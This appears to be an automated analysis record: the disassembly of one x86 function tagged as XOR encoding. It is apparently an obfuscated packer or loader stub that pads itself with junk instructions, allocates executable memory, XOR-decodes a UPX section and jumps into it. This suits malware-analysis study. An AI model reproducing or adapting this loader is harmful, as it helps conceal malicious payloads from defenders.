Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x43a51288
not eax
mov eax, 0xb1c27074
popal
not eax
not eax
mov edx, 0
mov esi, ecx
add edi, 0xffd8a068
or edi, edi
and ebx, edi
mov eax, esi
inc edi
mov ebx, 0x19ae342e
mov ecx, eax
mov edi, 0xc8619067
sub edi, 1
add edx, 1
mov ebx, 0xc60bcf0f
add ebx, edi
cmp edx, 0x1009c44
jne 0xa789c3
and ebx, edi
not ebx
mov edi, ebx
and edx, edx
and eax, eax
or edx, edx
mov eax, 0xa78796
sub ecx, 0x8fb6b5c1
add edx, 0x3b0cb46c
inc ecx
mov edi, 0xa7898a
mov ecx, 0xef27ed4f
mov edx, 0x566c1855
mov ebx, dword [eax]
or edx, esi
and ecx, esi
not esi
and ebx, 0xff
or ecx, edx
and esi, edx
xor dword [edi], ebx
dec edx
sub ecx, 0xe7348559
inc edi
dec ecx
sub ecx, 0x157e8ce6
inc eax
and esi, ecx
or edx, ecx
mov ecx, edx
cmp edi, entry0
jl 0xa78a2a
inc esi
sub esi, 0xfd8f193d
dec ecx
inc esi
add edx, ecx
add esi, 0x46bcac03
sub ebx, 0x1545ebfd
sub edx, ebx
and edx, ecx
mov esi, 0xa7898e
inc ecx
sub ebx, ecx
mov esi, dword [esi]
inc ecx
mov edx, 0x3740faa6
mov esi, dword [esi]
sub ebx, 0x9983a32a
and edi, ecx
push esi
add ebx, 0x60ec90aa
or ebx, ebx
mov esi, 0xa7898a
sub edx, edi
add ebx, edi
mov esi, dword [esi]
and ebx, edx
mov edi, edx
mov ebx, edx
mov esi, dword [esi]
sub edi, 1
not edx
push 0xa78992
sub ecx, 1
add ecx, edi
mov ebx, 0x7d0264ad
call esi
add edi, ecx
and ebx, ebx
pop esi
or ebx, ebx
and ebx, ebx
push 0xa7899f
mov ecx, 0x8231256b
add ebx, 0x5f4480af
add edx, 1
push eax
sub edi, 1
add ecx, 0xdc9bdb58
call esi
add edx, edi
sub ebx, 1
push 0x40
not ebx
or ebx, edi
mov edi, 0xbd164c54
push 0x3000
or ecx, edi
not edx
and edi, ecx
sub esp, 4
mov dword [esp], 0x20000b78
sub edi, 0xf4029009
mov edi, edx
push 0
add ecx, 0x1bf4eafb
or edx, ecx
call eax
and edi, edi
mov ecx, 0x3826bec3
add edi, ecx
add eax, 0x20000b04
mov edx, 0x1b7549ac
dec edi
mov esi, 0xfc05fb72
or ecx, edi
sub ecx, ebx
sub ecx, edi
mov dword [eax], esi
sub edi, ecx
or ecx, edx
mov esi, dword [eax]
add ebx, 0xf307d3c7
sub edi, ecx
cmp esi, 0xfc05fb72
je 0xa78b7c
mov ecx, 0
mov dl, byte [ecx]
add edi, 0xed0941c6
dec ecx
sub ebx, edx
sub ebx, 0x64be6180
not eax
not eax
sub eax, edx
mov esi, section.UPX1
add eax, eax
dec eax
add eax, eax
mov edi, 0xa78795
sub edx, 0xe7aa5390
not eax
and edx, eax
mov ecx, 0
dec edx
mov eax, 0x7b2fd62b
sub edx, 0x741569d1
mov ebx, 0xa78796
mov edx, 0x3eed067c
inc edx
not eax
lea ebx, [ebx + ecx]
sub edx, 0x9bfbaff3
sub eax, edx
mov ebx, dword [ebx]
add edx, 1
not edx
and ebx, 0xff
mov edx, eax
sub eax, edx
inc ecx
mov eax, 0x20dec14f
mov edx, eax
add eax, edx
cmp ecx, 0x1f4
jne 0xa78bfe
mov ecx, 0
sub eax, 0x9988c523
inc eax
or edx, eax
and eax, edx
and edx, eax
xor dword [esi], ebx
sub eax, 0xb39c309a
mov edx, eax
not edx
add esi, 2
add edx, 0xd15b81e6
or eax, edx
cmp esi, edi
jl 0xa78bbb
and eax, edx
add edx, edx
dec eax
not eax
mov eax, edx
mov eax, section.UPX1
mov esi, 0x2d1388ae
inc esi
sub esi, edx
mov edi, section.UPX1
sub edx, 0xfc9eb6c6
inc esi
mov ebx, 0xa78795
not edx
mov edx, esi
mov edx, esi
mov ecx, 0
and esi, edx
and esi, esi
add esi, 0x813505ab
mov cl, byte [edi]
dec esi
add esi, esi
mov byte [eax], cl
mov edx, 0x7a681db9
not edx
inc eax
and edx, edx
or edx, esi
add edi, 2
add esi, 0x1ada7fd4
or edx, edx
dec edx
cmp edi, ebx
jle 0xa78c69
not edx
add esi, 0x1064a98f
mov edx, 0x59bef841
add eax, 0x6f19a83b
mov eax, 0x7f6f940c
push 0x8dc6a0
or eax, eax
add eax, edx
ret